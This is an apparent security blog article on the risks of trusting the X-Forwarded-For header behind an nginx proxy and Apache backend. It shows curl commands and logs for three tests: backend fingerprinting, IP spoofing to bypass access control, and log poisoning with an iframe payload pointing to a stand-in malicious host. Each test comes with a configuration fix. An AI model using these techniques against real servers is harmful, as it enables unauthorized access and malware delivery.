HTTP header: X-Forwarded-For (XFF) was originally introduced by a team of developers responsible for developing the Squid server as a method of identifying the original IP address of the client that connects to the web server through another proxy server or load balancer. Without using XFF or any other similar technique, any proxy connection would leave only the IP address that comes from the proxy itself, turning it into an anonymising service for clients. Thanks to this, detecting and preventing unauthorized access would be much more difficult than transferring information about the IP address from which the request was made.
The usefulness of X-Forwarded-For depends on the proxy server, which, in reality, should pass the IP address of the connecting client. For this reason, servers behind proxies must know which ones are “trustworthy.” Unfortunately, sometimes even that is not enough. I will try to show why we should not blindly trust the values coming from this header.
Below is an example configuration on which we will carry out tests:
The layout is quite popular and found on the Internet. It starts with an nginx server, acting as a proxy/load-balancer (replacement may be Haproxy or Varnish) for the Apache server that can handle any application in PHP. We can manage equally well with a clean application, listening on any port. The nginx server configuration is as follows:
In the Apache server, apart from the standard directives, there have not been many changes. Only the module, supporting the overwriting of the client’s IP address, has been activated and will be forwarded by our proxy:
Tests
1. Fingerprinting backend and more
Let’s assume that our proxy server effectively removes all headers such as Server, X-Powered-by, Via, etc., thus trying to hide the identity of your backend.
How can we use the X-Forwarded-For header to reveal a “hidden” server? We must create an unexpected error. The fastest way to do this is by exceeding the allowable size of the header (a lot of error 404/403 type pages are personalized, but the most common error codes are usually in the standard version):
|
1 |
curl -v -XGET --header 'X-Forwarded-For: %E2%82%AC%E2%82%AC%E2%82%AC%E2... ' http://ip.proxy.lub.domena |
The characters, “%E2%82%AC%E2%82%AC%” (we can use any other name like “X” here), are repeated until they reach 8159 bytes in the presented case. With this length, in addition to the other values of the header, I have not exceeded 8K1, which is the size limit for our servers (each server has its own limit – just these versions of Apache and nginx have the same). By making such a request, using the curl program, this is the outcome in the servers logs:
|
1 2 3 4 |
Proxy: 202.205.111.1 - - [24/Oct/2016:20:31:51 +0200] "GET / HTTP/1.1" 200 0 "-" "curl/7.43.0" Backend: 192.168.111.3 202.205.111.1 - - [24/Oct/2016:20:31:51 +0200] "GET / HTTP/1.0" 200 244 "-" "curl/7.43.0" |
The address, 202.205.111.1, is my client’s IP address. It was enough, however, to add another byte (8160) to observe the interesting phenomenon:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
Proxy: 202.205.111.1 - - [24/Oct/2016:20:33:31 +0200] "GET / HTTP/1.1" 400 389 "-" "curl/7.43.0" Backend: 192.168.111.3 192.168.111.3 - - [24/Oct/2016:20:33:31 +0200] "GET / HTTP/1.0" 400 0 "-" "-" < HTTP/1.1 400 Bad Request < Server: nginx/1.10.0 (Ubuntu) < Date: Mon, 24 Oct 2016 18:33:31 GMT < Content-Type: text/html; charset=iso-8859-1 < Content-Length: 389 < Connection: keep-alive < <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> Size of a request header field exceeds server limit.<br /> <pre> X-Forwarded-For </pre> </p> <hr> <address>Apache/2.4.18 (Ubuntu) Server at 192.168.111.2 Port 80</address> </body></html> |
The backend server itself revealed its identity to us, including a common 400 error together with the proxy. It is worth taking an interest in the trace – or rather its lack – in the case of the Apache server log. However, we do get the IP address of the proxy server twice – no clear identification of the client. If the HTTP traffic logging was disabled on the proxy server for performance reasons, the client’s identity that causes errors is unexplainable for us. In order to avoid this situation, all you have to do is to set a smaller size limit of the headers on the proxy server so that the request that causes error 400 does not reach the other server at all.
2. Too wide network range
The remoteip module causes that. In the case of the log format, we are able to use the %a variable to log the client’s IP address in any order. It also gives us the option to use the header value from the RemoteIPHeader setting for authentication using the Requireip method. Let’s put restrictions on the path /var/www/html, allowing only one selected IP address.
If we look closely at the initial configuration of the Apache server (Figure 3), we notice that the RemoteIPInternalxy option has been set to the network mask – 24, not the specific address or addresses of trusted proxy servers. In the event that the network security was breached by another channel and the attacker would take over the neighboring server, whose network address is in the range 192.168.111.1-254, it gains the trusted address, which can give the Apache server false client IP addresses in order to get through to the protected resource:
We do not even have to run a dedicated proxy server. A normal curl with a headline with the appropriate content should confirm our theory:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
curl -v -XGET http://192.168.111.2 -H 'X-Forwarded-For: 202.205.111.5' * Rebuilt URL to: http://192.168.111.2/ * Trying 192.168.111.2... * Connected to 192.168.111.2 (192.168.111.2) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.111.2 > User-Agent: curl/7.43.0 > Accept: */* > X-Forwarded-For: 202.205.111.5 > < HTTP/1.1 200 OK < Date: Thu, 27 Oct 2016 17:08:55 GMT < Server: Apache/2.4.18 (Ubuntu) < Last-Modified: Sun, 23 Oct 2016 21:46:07 GMT < ETag: "0-53f8f33e3eb56" < Accept-Ranges: bytes < Content-Length: 0 < Content-Type: text/html < * Connection #0 to host 192.168.111.2 left intact |
Pointing to a trusted proxy, we should always define their specific addresses without leaving a margin in case that something might change in the future, so it’s better to include it in the configuration.
3. Spoofing and poisoning logs
Let’s examine the configuration of the nginx server, or more precisely, the option: $proxy_add_x_forwarded_for. According to the documentation, if the proxy server receives an X-Forwarded-For header from the client in the request with a predefined value, then the value of the client header plus what the proxy server will add – ip address of the client (here the value $ remote_addr) – will be passed to the backend server. Thus, if the client sends an X value, the proxy adds Y, the backend will receive both values separated by a comma: X-Forwarded-For: X, Y. If the request goes through two proxy servers, the form of the header will be: X-Forwarded-For: client, proxy1, proxy2, where proxy2 is treated as a remote request address. This configuration is incorrect for one simple reason – our proxy is first to interact with the Internet, so there is no need for us to add user-defined values or other proxy servers.
Why is this threatening? First of all: who said that the client must send an IP address? Let’s assume that our server in the backend is a simple application, without a remoteip module (that is it accepts and logs raw data, including XFF header values), or an administrator, configuring the Apache server, simply set the log format according to the formula:
|
1 |
LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined |
Logs are usually archived and, before that, analyzed by various statistical systems. Most of them have web interfaces that present the results to the user. So if the attacker sends a request to our proxy:
|
1 |
curl -v -XGET --header 'X-Forwarded-For: <iframe src=//malware.attack> ' http://ip.proxy.lub.domena |
It will appear in the access_log file as:
|
1 |
<iframe src=//malware.attack>, 202.205.111.1 - - [27/Oct/2016:21:57:11 +0200] "GET / HTTP/1.0" 403 468 "-" "curl/7.43.0" |
If the system for analyzing logs does not correctly verify and filter dangerous data, then the user, along with reading the report, will load malware in frame. The same applies to the circumvention of authentication: operating only on the pure value of this header, be it in WWW servers or web applications. The client, arriving at the backend server with his own list of IP addresses, which is taken into account during authorization, can easily fake and deceive the process. The error is fixed by replacing $proxy_add_x_forwarded_for with $remote_addr, which means that our proxy will only forward the client’s IP address without paying attention to the previous values.
Summary
The X-Forwarded-For header has been designed to identify clients that communicate with servers located behind a proxy. Since proxies are the “eyes” of such servers, they should not allow for the skewed perception of reality. The client should not decide what should be included in this header, and the protected server should not blindly trust this content. Intermediaries must, each time, check the existence of such a header and delete and create or overwrite its contents with its own rules before forwarding the request. If we need to implement an access control mechanism based on IP addresses, we should try to place it directly on the line of contact with the client.
More information:
phpBB do 2.0.8a Header Handler X-Forwarded-For spoofing
X-Forwarded-For, proxies, and IPS
Footnotes:
1 https://github.com/koajs/koa/issues/479
2http://nginx.org/en/docs/http/ngx_http_core_module.html#large_client_header_buffers
3 http://httpd.apache.org/docs/trunk/mod/mod_remoteip.html
4 https://pl.wikipedia.org/wiki/Iframe
5 https://shubs.io/enumerating-ips-in-x-forwarded-headers-to-bypass-403-restrictions/
6 http://blog.ircmaxell.com/2012/11/anatomy-of-attack-how-i-hacked.html